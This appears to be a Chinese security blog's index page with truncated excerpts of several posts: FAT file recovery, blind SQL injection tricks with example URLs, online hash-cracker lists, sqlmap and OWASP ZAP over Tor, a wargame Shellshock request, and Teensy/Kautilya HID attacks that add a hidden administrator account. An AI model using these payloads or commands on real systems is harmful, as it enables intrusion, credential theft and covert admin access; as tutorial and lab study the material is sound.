跳到主要內容

發表文章

FAT基本資料救援 - 針對UNDELETE的資料

FAT基本介紹 基本觀念 這邊要稍微定義一下單位: 1 bytes = 8 bits 1 sector = 512 bytes sector 可以簡單理解為,在光碟片上儲存資料的block。 cluster 是由sector所組成,但是依據格式化時的設定而有所不同,從下面的圖可以看出,在格式化時Allocation unit size,基本上就是在設定cluster,下面的例子是 1 cluster = 16 sectors FAT架構概要 FAT的大概架構順序主要如下: MBR FAT1:資料的儲存位置紀錄 FAT2:FAT1的備份 Root Directory:檔案的相關資訊 Data:檔案實際存放的地方 而在MBR中,主要可以分成三個部份: Bootstrap code : 識別已配置的bootable partition,載入並且執行VBR(Volume Boot Record) [link]  ,這邊不是本章要討論的重點。 Partition table : 這邊主要是描述整顆硬碟的分割資訊。 Boot signature : 表示此Block是有效的。 大概長的像下圖這樣: Partition table,是以16 bytes為單位,因此原則上,此硬碟最多可以切分成四個partition。第一個partition,起始位置為 0x01CE ,結尾為0x01CD,如下圖框起來的範圍, 每個位置都有其代表的意義: 主要就是說明此Partition的起始、結束、大小等資訊。 Root Directory 這邊主要要說它裡面的Directory Entry,下圖中,包含了三個檔案,包含名稱以及相關資訊: 資料救援 接著開始進入正題,在FAT的架構下,刪除資料,主要有兩個部份需要異動: FAT1 Root Directory內的Directory Entry 首先先說明,Directory Entry的部份,在這邊會將檔案名稱第一位hex,改成 E5 ,下面的例子(檔案名稱為1000.txt), 刪除前: 刪除後:(永久刪除,而非丟到資源回收桶) 這邊就可以看到,第一個h...

SQL Injection: bit-by-bit

暨『 SQL Injection Get Username 』這篇以後,同樣也是書上很有趣的手法。 bit-by-bit:逐步推論攻擊 主要需要使用到以下幾個功能: IF ASCII SUBSTRING 二進制運算 攻擊範例: 上面這是此攻擊的基本公式,當然不是絕對的,另外針對 這部份必須要先說明,他是指2的j次方,而非真的有此指令,這需要自己去換算,功用等一下會一併說明。 這段攻擊指令,需要分成幾個階段做說明,首先: if(...,1,0) if判斷,true回傳1,否則回傳0 ASCII(...) 取得字母的ASCII SUBSTRING(... , i , 1) 取得字串的第i位起算,1個字母,以 hello 為例: substring('hello', 1,1) => h substring('hello', 2,1) => o substring('hello', 3,1) => l substring('hello', 3,2) => ll substring('hello', 3,3) => llo 接下來是 & 這是mysql裡面的二進制運算符號, 運算邏輯(二進位運算)範例: 1&1 => 1 0&0 => 0 1&0 => 0 0&1 => 0 範例: 5&2^0 => 101 & 001 => 001 5&2^1 => 101 & 010 => 000 5&2^2 => 101 & 100 => 100 依照上面的範例,我們可以在不知道5的狀況下,透過運算,逐步推出每一位的結果,進而推論出5這個答案,這是這個攻擊很關鍵的地方!! 接下來我們就可以開始跑整個流程: 假設current_user()得到的是結果是: root@localhost 1. substring("root@localhost",1,1) => r 2. ascii('...

Hash Cracker Online List

Hash Cracker Online List 稍微蒐集了一些Hash的online cracker,不過整理得還蠻零散的,之後有機會,再慢慢補齊,然後其實國外已經有一些蒐集的更完整的網站,我也從那邊複製了不少過來,請參考: http://hashcrack.blogspot.tw/p/hash-crackers.html 它這邊還蠻不錯的是,針對資料數量去做排行! 不過有很多網站已經失效了,總之,有興趣的人可以連過去看看! 以下是我蒐集的清單,還蠻雜亂的,呵呵~ --: 表示尚未查詢到相關資料     *: 支援複數個hash演算法 URL Words hash Pay http://www.md5online.org/ 123,255,136,968 md5 https://crackstation.net/ 15,000,000,000 * http://md5decryption.com/ -- md5 http://md5decrypt.net/en/ 3,771,094,397 md5 https://www.tobtu.com/md5.php 50,529,455,839 md5 https://hashkiller.co.uk/ 829,726,000,000 * http://md5cracker.org/ -- md5 http://www.md5decrypt.org/ 10,000,000 md5 http://www.md5decrypter.com/ 15,186,882 md5 http://www.cmd5.org/ 7,800,000,000,000 * v http://rainbowtables.it64.com/ -- * v https://hashtoolkit.com/ 5,805,936,910 * http://cracker.offensive-security.com/index.php -- NTLM http://www.netmd5crack.com/cracker/ -- md5 http://md5.gromweb.com/ -- md5   https://isc.sans.edu/tools/rever...

sqlmap on tor network

這篇主要介紹如何在Kali上,讓神器sqlmap跑在tor network上面,前面會先針對Kali的部份做初始化設定,而後才會針對sqlmap的相關參數做說明。 Step 1.  Install Tor 這邊主要根據Tor官方網站的安裝步驟: deb http://deb.torproject.org/torproject.org wheezy main >> /etc/opt/sources.list.d deb-src http://deb.torproject.org/torproject.org wheezy main >> /etc/opt/sources.list.d gpg --keyserver keys.gnupg.net --recv 886DDD89 gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add - apt-get update apt-get install tor apt-get install deb.torproject.org-keyring 接下來要安裝sqlmap在跑tor需要用到的套件: apt-get install privoxy 如此一來,必要的套件都已經安裝完成,接下來,這個設定可設可不設: (9050是tor預設port,如果有另外調整,要記得調整。) echo "forward-socks5 / 127.0.0.1:9050 ." >> /etc/privoxy/config 註:沒設定的話,在使用sqlmap的時候要記得帶--tor-port=9050這個參數 啟用Service service tor start service privoxy restart 這邊如果tor啟用失敗的話,可以嘗試下面指令: sudo systemctl start tor.service 從netstat確認一下 8118:privoxy 9050:tor 看到這兩個項目,表示tor的環境已經準備好了!可以開始進入正題! Step 2. Run sqlmap on Tor sqlmap的部份,這邊我們主要關注以下幾個...

SQL Injection Get Username

SQL Injection Get Username 在『SQL Injection  attack and defense 』 by Justin Clarke,這本書上看到的蠻有意思的攻擊手法。 目的: 在無法直接顯示攻擊資料的狀況下,得到Username。 概要流程: 確認Username長度 找出完整Username名稱 攻擊說明: 步驟1、 現在假設我們有一個確認有SQLi漏洞的URL: http://www.test.com?id=12 這邊以MSSQL為例,步驟1的攻擊如下: http://www.test.com?id=12/(case+when+(len(system_user)+>+8)+then+1+else+0+end) (註:在URL中,「+」會被解析成空白。) 這邊簡單來說就是要做除法運算: 12÷ (後面的結果) 而SQL語法的部份,主要是用CASE語句: CASE WHEN condition THEN result1 ELSE result2 END 另一個部份: len(system_user) > 8 檢視username長度是否大於8 (註:在MySQL中,是使用length()做查詢。) (註:MySQL需要將system_user改成user()。) 所以透過上面的語法,我們可以做以下的解釋: 當username長度大於8時,回傳1,否則回傳0 所以最後的結果,會有兩種狀況: 狀況1.  12  ÷ 1=12 狀況2.  12   ÷ 0= ERROR 狀況1,我們可以原來的頁面,因為id是相同的12,但是狀況2的話,則會出現錯誤,很可能就會顯示『500 Internal Server Error』。 透過這個方式,我們可以調整長度,找出確切的長度,可以用類似二分法的減少攻擊次數。 步驟2、 確認長度以後,接下來我們要開始找完整username了! 攻擊指令: http://www.test.com?id=12/(case+when+(ascii(substring((select+system_user),1,1)...

ISDA雲端安全推廣 - Wargame level 1-3

ISDA雲端安全推廣 - Wargame level 1-3 Level 1 提示:主機沒有死 這一題其實還蠻有趣的,而且很實際,在每一次的攻擊前,一定會做的就是搜尋,而掃port可以算是基本動作之一,其他像是google hacking之類各種最初的資料蒐集,也是通常攻擊的第一個階段工作,而掃port的工具中,耳熟能響的應該就屬nmap了! 官方網站:https://nmap.org/ 至於怎麼用,網路上很多資料,這邊不贅述,而這關就是要找出web服務,一般瀏覽器預設是走port 80,但是出題者,有重新做調整,所以不是走80。 Level 2 提示: level2.cgi, Ubuntu 14.04.1 漏洞: shellshock, CVE-2014-6271 測試語法: 此語法會延遲 9 秒,才收到 response 。 () { :; }; /bin/sleep 9 注:參考 poc 程式裡的 command , url:  https://github.com/securusglobal/BadBash Request : GET /cgi-bin/level2.cgi HTTP/1.1 Host: 52.62.39.102:8000 User-Agent: () { :; }; /bin/sleep 9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Response:  Response 會出現錯誤『500 Internal Server Error』,在這題的攻擊來說這個錯誤訊息算是一個指標,表示我們的攻擊碼已經對後台造成影響,而這邊另外一個 重點是它也確實延遲 9 秒左右主機才有回應,因此可證實它應該存在 shellshock 漏洞,這邊我有想到調整 iptables 之類的,直接開門,不過有可能權限會不足,所以就先擺著,先進入 level 3 。 根據 ...

OWASP ZAP on Tor

OWASP ZAP on Tor 問題 要讓ZAP能夠透過Tor執行時,直覺會想要直接設定zap的proxy,如下圖: 但是在實際測試時,很快就會看到這樣的錯誤訊息: Tor is not an http proxy 這個錯誤主要是在說明Tor是Socks proxy,而Proxy是屬於OSI中Layer5的會話層(Session layer),而HTTP等是屬於Layer7的應用層(Application layer),因此由此可以得知ZAP proxy是屬於HTTP的Proxy,應該也包含了HTTPS,不過無論是HTTP/HTTPS這邊都會有錯誤,因此需要改成以Socks的Proxy,但是另外一個問題就出現了... 根本沒這個設定選項! 這部份卡了很久,總算是在官方的回覆中找到答案,不過也不是從設定去調整,而是從java去帶入參數,官方問答: https://github.com/zaproxy/zaproxy/issues/29 這是關鍵回覆: 解決此問題的關鍵兩個參數: -DsocksProxyHost=<proxyserver> -DsocksProxyPort=<proxyport> 完整執行zap on tor的指令: java -DsocksProxyHost=127.0.0.1 -DsocksProxyPort=9050 -jar zap-2.4.3.jar 注:如果是使用Tor Browser則是改成9150 然後用『Manual Request Editor』做驗證,我的驗證對象是 https://check.torproject.org Request: GET https://check.torproject.org/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 Pragma: no-cache Cache-Control: no-cache Content-Length: 0 Host: check.torproject....

Teensy進階工具 - Kautilya

Teensy進階工具 - Kautilya 接續 Teensy 基本操作&攻擊 安裝介紹 最初想要在Windows上執行,但是似乎有一些lib的問題,嘗試處理了一下,最後還是放棄,直接擁抱Kali,轉到Kali以後,就是無痛直接執行! 上圖為Kautilya在windows上的功能,至於詳細功能,請參考他的github( 連結 ),這邊主要針對: Execute Reverse TCP  Reverse UDP Reverse ICMP Manage Add an admin user 這幾個項目做測試,因為比較簡單orz Add an admin user 這個基本上沒難度,就只是把程式碼燒進去以後,等它執行就對了! 然後它跑得時候會出現cmd的視窗,會縮得很小,讓妳看不到裡面再打什麼: 產生步驟: 沒什麼技術性,就產生完畢了! 稍微看了一下他的程式碼,主要都是用powershell去完成的,在使用者的部份主要是這兩段指令: # define U_ADD "net user new_user password /add" # define G_ADD "net localgroup Administrators new_user /add" 基本上,就是新增一個administrator權限的新使用者,另外蠻有趣的部份是,他有一些機制,下面這段主要是因為對於第一次接上的鍵盤或是滑鼠,都會需要安裝驅動程式,當然Teensy也不例外: void wait_for_drivers(int sleep){...} 檢查caps是沒否為on,畢竟這關係到大小寫: bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;} 這部份厲害的是,它還另外寫了powershell的指令,還有vbs去解除caps on的狀態,這邊真的只能佩服...orz void create_click_capslock_win() 不用多說了,所有視窗最小化! void minimise_windows(void)...